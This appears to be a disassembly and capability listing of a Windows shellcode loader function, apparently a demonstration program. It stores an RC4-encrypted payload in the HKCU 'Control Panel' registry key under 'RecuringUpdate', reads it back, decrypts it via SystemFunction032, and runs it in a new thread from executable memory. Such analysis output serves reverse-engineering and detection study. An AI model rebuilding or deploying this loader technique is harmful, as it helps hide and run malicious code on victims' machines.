Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x70
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x68], rax
lea rcx, str.___Press__Enter__To_Write_The_Shellcode_To_The_Registry...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea r14, [0x140005040]
xor ebp, ebp
lea rsi, str.RecuringUpdate
mov qword [rsp + 0x40], rbp
mov rdx, r14
mov qword [rsp + 0x20], rsi
lea r9, str.Control_Panel
mov r8d, 0x110
lea rcx, str._i__Writing_0x_p___Size:__ld___to___s_s__...
mov edi, 1
call fcn.140001010
lea rax, [rsp + 0x40]
mov ebx, 2
mov r9d, ebx
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140001125
mov edx, eax
lea rcx, str.____RegOpenKeyExA_Failed_With_Error_:__d_n
call fcn.140001010
mov edi, ebp
jmp 0x14000116b
mov rcx, qword [rsp + 0x40]
mov r9d, 3
mov dword [rsp + 0x28], 0x110
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14000115f
mov edx, eax
lea rcx, str.____RegSetValueExA_Failed_With_Error_:__d_n
call fcn.140001010
mov edi, ebp
jmp 0x14000116b
lea rcx, str.___DONE____n
call fcn.140001010
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000117b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x1400011db
lea rcx, str.___Press__Enter__To_Read_The_Shellcode_From_The_Registry...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Reading_Shellcode_...
call fcn.140001010
mov dword [rsp + 0x60], 0x110
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x110
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
jne 0x140001208
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001490
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
lea rax, [rsp + 0x60]
mov r9d, 0xffff
mov qword [rsp + 0x30], rax
lea rdx, str.Control_Panel
mov qword [rsp + 0x28], rdi
mov r8, rsi
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
je 0x140001248
mov edx, eax
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
jmp 0x1400011d6
mov edx, dword [rsp + 0x60]
cmp edx, 0x110
je 0x14000126b
mov r8d, 0x110
lea rcx, str.____Total_Bytes_Read_:__d___Instead_Of_Reading_:__d_n
call fcn.140001010
jmp 0x1400011db
lea rcx, str.___DONE__n
call fcn.140001010
mov rdx, rdi
lea rcx, str.___Payload_Read_At_:_0x_p__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Decrypt_The_Shellcode_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str._i__Decrypting_Shellcode_...
call fcn.140001010
lea rax, [0x140005150]
mov dword [rsp + 0x40], 0x10
lea rcx, str.Advapi32
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x44], 0x10
mov dword [rsp + 0x50], 0x110
mov dword [rsp + 0x54], 0x110
mov qword [rsp + 0x58], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call rax
test eax, eax
je 0x140001310
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
jmp 0x1400011d6
lea rcx, str.___DONE__n
call fcn.140001010
xor ecx, ecx
mov dword [rsp + 0x40], ebp
mov edx, 0x110
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140001353
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
jmp 0x1400011d6
mov rdx, rsi
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001010
mov rax, rsi
mov rcx, rdi
nop dword [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm1, xmmword [rcx - 0x70]
movups xmmword [rax - 0x70], xmm1
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x60], xmm0
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x50], xmm1
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x40], xmm0
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x30], xmm1
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x20], xmm0
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x10], xmm1
sub rbx, 1
jne 0x140001370
movups xmm0, xmmword [rcx]
xor edx, edx
mov r8d, 0x110
mov rcx, rdi
movups xmmword [rax], xmm0
call sub.VCRUNTIME140.dll_memset
lea r9, [rsp + 0x40]
mov edx, 0x110
lea r8d, [rbx + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001408
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
jmp 0x1400011d6
lea rcx, str.___Press__Enter__To_Run_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor r9d, r9d
mov qword [rsp + 0x28], rbp
mov r8, rsi
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000144c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
jmp 0x1400011d6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400011e0